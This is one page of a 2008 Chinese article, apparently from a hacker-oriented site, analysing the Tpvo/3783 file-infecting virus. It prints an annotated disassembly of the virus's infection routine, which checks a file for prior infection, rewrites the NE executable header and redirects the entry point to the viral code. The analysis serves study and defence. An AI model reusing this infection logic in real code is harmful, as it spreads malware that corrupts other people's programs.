Tpvo/3783 病毒的分析和防治

日期：2008年2月19日作者：清风网络学院查看:[大字体中字体小字体]

F6C8:0A31 19553E　　　　SBB　　 [DI+3E],DX
F6C8:0A34 AC　　　　　　LODSB　
F6C8:0A35 0AC0　　　　　OR　　　AL,AL ;如果这 8 字节不为 0
F6C8:0A37 E1FB　　　　　LOOPE　 0A34 ;则不传染
F6C8:0A39 75BC　　　　　JNZ　　 09F7
F6C8:0A3B 8B4422　　　　MOV　　 AX,[SI+22] ;段地址表偏移量
F6C8:0A3E B105　　　　　MOV　　 CL,05
F6C8:0A40 56　　　　　　PUSH　　SI ;以下修改 NE 文件头下列部分
F6C8:0A41 BD0400　　　　MOV　　 BP,0004 ; 0004　登记表偏移
F6C8:0A44 3E　　　　　　DS: ; 0024　资源表偏移
F6C8:0A45 3B02　　　　　CMP　　 AX,[BP+SI] ; 0026　驻留表偏移
F6C8:0A47 7304　　　　　JNB　　 0A4D ; 0028　模块引用表偏移
F6C8:0A49 3E　　　　　　DS: ; 002A　引用名表偏移
F6C8:0A4A 830208　　　　ADD　　 WORD PTR [BP+SI],+08
F6C8:0A4D BD2200　　　　MOV　　 BP,0022
F6C8:0A50 46　　　　　　INC　　 SI
F6C8:0A51 46　　　　　　INC　　 SI
F6C8:0A52 E2F0　　　　　LOOP　　0A44
F6C8:0A54 5E　　　　　　POP　　 SI
F6C8:0A55 BD6302　　　　MOV　　 BP,0263
F6C8:0A58 8B441C　　　　MOV　　 AX,[SI+1C] ;段计数器 + 1
F6C8:0A5B 50　　　　　　PUSH　　AX
F6C8:0A5C 40　　　　　　INC　　 AX
F6C8:0A5D 89441C　　　　MOV　　 [SI+1C],AX ;入口 CS:IP 改为
F6C8:0A60 876C14　　　　XCHG　　BP,[SI+14] ;新段地址:0263
F6C8:0A63 874416　　　　XCHG　　AX,[SI+16]
F6C8:0A66 892E850E　　　MOV　　 [0E85],BP ;保存原 CS:IP 于 0E83
F6C8:0A6A A3830E　　　　MOV　　 [0E83],AX
F6C8:0A6D 58　　　　　　POP　　 AX
F6C8:0A6E BD0800　　　　MOV　　 BP,0008 ;段地址表长度
F6C8:0A71 F7E5　　　　　MUL　　 BP
F6C8:0A73 034422　　　　ADD　　 AX,[SI+22] ;加上段地址表偏移
F6C8:0A76 13D1　　　　　ADC　　 DX,CX ;以下将整个 NE 文件头
F6C8:0A78 2D4000　　　　SUB　　 AX,0040 ;以及段地址表前移 8 字节
F6C8:0A7B 1BD1　　　　　SBB　　 DX,CX ;以便插入一个新的段地址表项
F6C8:0A7D BD0002　　　　MOV　　 BP,0200
F6C8:0A80 F7F5　　　　　DIV　　 BP
F6C8:0A82 95　　　　　　XCHG　　AX,BP ;先移动余数
F6C8:0A83 B43F　　　　　MOV　　 AH,3F
F6C8:0A85 8BCA　　　　　MOV　　 CX,DX
F6C8:0A87 BA4F0F　　　　MOV　　 DX,0F4F
F6C8:0A8A E81202　　　　CALL　　0C9F
F6C8:0A8D 7246　　　　　JB　　　0AD5
F6C8:0A8F 51　　　　　　PUSH　　CX
F6C8:0A90 C4553C　　　　LES　　 DX,[DI+3C]
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] 下一页
Tpvo/3783 病毒的分析和防治相关文章：
·系统漏洞的形成和防治办法
·减治法：C#实现插入排序实例
·网络工程师讲解系统安全漏洞的形成和防治
·李治国：急躁公司做不了分类信息
·网络工程师教您防治常见网络攻击
·通过Rational的工具来实现SOA治理
·利用Mcafee根治Viking 威金病毒
·理清SOA治理中的架构师角色
·VeryCD:迅雷增强共享机制说治标不治本
·巧妙设置系统轻松防治邮件病毒
Tpvo/3783 病毒的分析和防治相关软件
·《资治通鉴》注释版（全五册）
·贞观之治
·本殖民统治台湾五十年史
·《常见皮肤性病诊断与治疗》
·福赛斯经典政治惊险小说《豺狼的日子》
·《威权统治下的中国现状与前景》
·新疆好地方－庆祝新疆自治区50周年摄影集
·统治世界2
·曾胡治兵语录
·佐治药言

上一篇:UNIX系统上实现拨号

下一篇:网络资源的列举

特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

Tpvo/3783 病毒的分析和防治

精品推荐

热点TOP10

特别推荐